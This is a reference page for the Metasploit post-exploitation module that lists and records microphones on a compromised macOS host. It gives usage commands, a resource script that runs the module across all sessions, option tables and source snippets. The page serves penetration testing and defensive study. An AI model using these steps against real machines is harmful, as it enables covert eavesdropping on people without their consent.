OSX Manage Record Microphone - Metasploit


This page contains detailed information about how to use the post/osx/manage/record_mic metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OSX Manage Record Microphone
Module: post/osx/manage/record_mic
Source code: modules/post/osx/manage/record_mic.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will allow the user to detect (with the LIST action) and capture (with the RECORD action) audio inputs on a remote OSX machine.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/manage/record_mic

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/manage/record_mic
msf post(record_mic) > show options
    ... show and set options ...
msf post(record_mic) > set SESSION session-id
msf post(record_mic) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/manage/record_mic")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/manage/record_mic post exploitation module looks in the msfconsole:

msf6 > use post/osx/manage/record_mic

msf6 post(osx/manage/record_mic) > show info

       Name: OSX Manage Record Microphone
     Module: post/osx/manage/record_mic
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  joev <[email protected]>

Compatible session types:
  Shell

Available actions:
  Name    Description
  ----    -----------
  LIST    Show a list of microphones
  RECORD  Record from a selected audio input

Basic options:
  Name               Current Setting                          Required  Description
  ----               ---------------                          --------  -----------
  AUDIO_COMPRESSION  QTCompressionOptionsHighQualityAACAudio  yes       Compression type to use for audio
  MIC_INDEX          0                                        yes       The index of the mic to use. `set ACTION LIST` to get a list.
  RECORD_LEN         30                                       yes       Number of seconds to record
  SESSION                                                     yes       The session to run this module on.
  SYNC_WAIT          5                                        yes       Wait between syncing chunks of output
  TMP_FILE           /tmp/.<random>/<random>                  yes       The tmp file to use on the remote machine

Description:
  This module will allow the user to detect (with the LIST action) and 
  capture (with the RECORD action) audio inputs on a remote OSX 
  machine.

Module Options


This is a complete list of options available in the osx/manage/record_mic post exploitation module:

msf6 post(osx/manage/record_mic) > show options

Module options (post/osx/manage/record_mic):

   Name               Current Setting                          Required  Description
   ----               ---------------                          --------  -----------
   AUDIO_COMPRESSION  QTCompressionOptionsHighQualityAACAudio  yes       Compression type to use for audio
   MIC_INDEX          0                                        yes       The index of the mic to use. `set ACTION LIST` to get a list.
   RECORD_LEN         30                                       yes       Number of seconds to record
   SESSION                                                     yes       The session to run this module on.
   SYNC_WAIT          5                                        yes       Wait between syncing chunks of output
   TMP_FILE           /tmp/.<random>/<random>                  yes       The tmp file to use on the remote machine

Post action:

   Name  Description
   ----  -----------
   LIST  Show a list of microphones

Advanced Options


Here is a complete list of advanced options supported by the osx/manage/record_mic post exploitation module:

msf6 post(osx/manage/record_mic) > show advanced

Module advanced options (post/osx/manage/record_mic):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/manage/record_mic module can do:

msf6 post(osx/manage/record_mic) > show actions

Post actions:

   Name    Description
   ----    -----------
   LIST    Show a list of microphones
   RECORD  Record from a selected audio input

Evasion Options


Here is the full list of possible evasion options supported by the osx/manage/record_mic post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/manage/record_mic) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid session ID selected.


Here is a relevant code snippet related to the "Invalid session ID selected." error message:

44:	      ])
45:	  end
46:	
47:	
48:	  def run
49:	    fail_with(Failure::BadConfig, "Invalid session ID selected.") if client.nil?
50:	    fail_with(Failure::BadConfig, "Invalid action") if action.nil?
51:	
52:	    num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
53:	    tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
54:	    ruby_cmd = osx_capture_media(

Invalid action


Here is a relevant code snippet related to the "Invalid action" error message:

45:	  end
46:	
47:	
48:	  def run
49:	    fail_with(Failure::BadConfig, "Invalid session ID selected.") if client.nil?
50:	    fail_with(Failure::BadConfig, "Invalid action") if action.nil?
51:	
52:	    num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
53:	    tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
54:	    ruby_cmd = osx_capture_media(
55:	      :action => action.name.downcase,

Client did not respond to file request after <POLL_TIMEOUT>s, exiting.


Here is a relevant code snippet related to the "Client did not respond to file request after <POLL_TIMEOUT>s, exiting." error message:

102:	                Rex.sleep(0.3)
103:	              end
104:	            end
105:	          end
106:	        rescue ::Timeout::Error
107:	          fail_with(Failure::TimeoutExpired, "Client did not respond to file request after #{poll_timeout}s, exiting.")
108:	        end
109:	      end
110:	    end
111:	  end
112:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.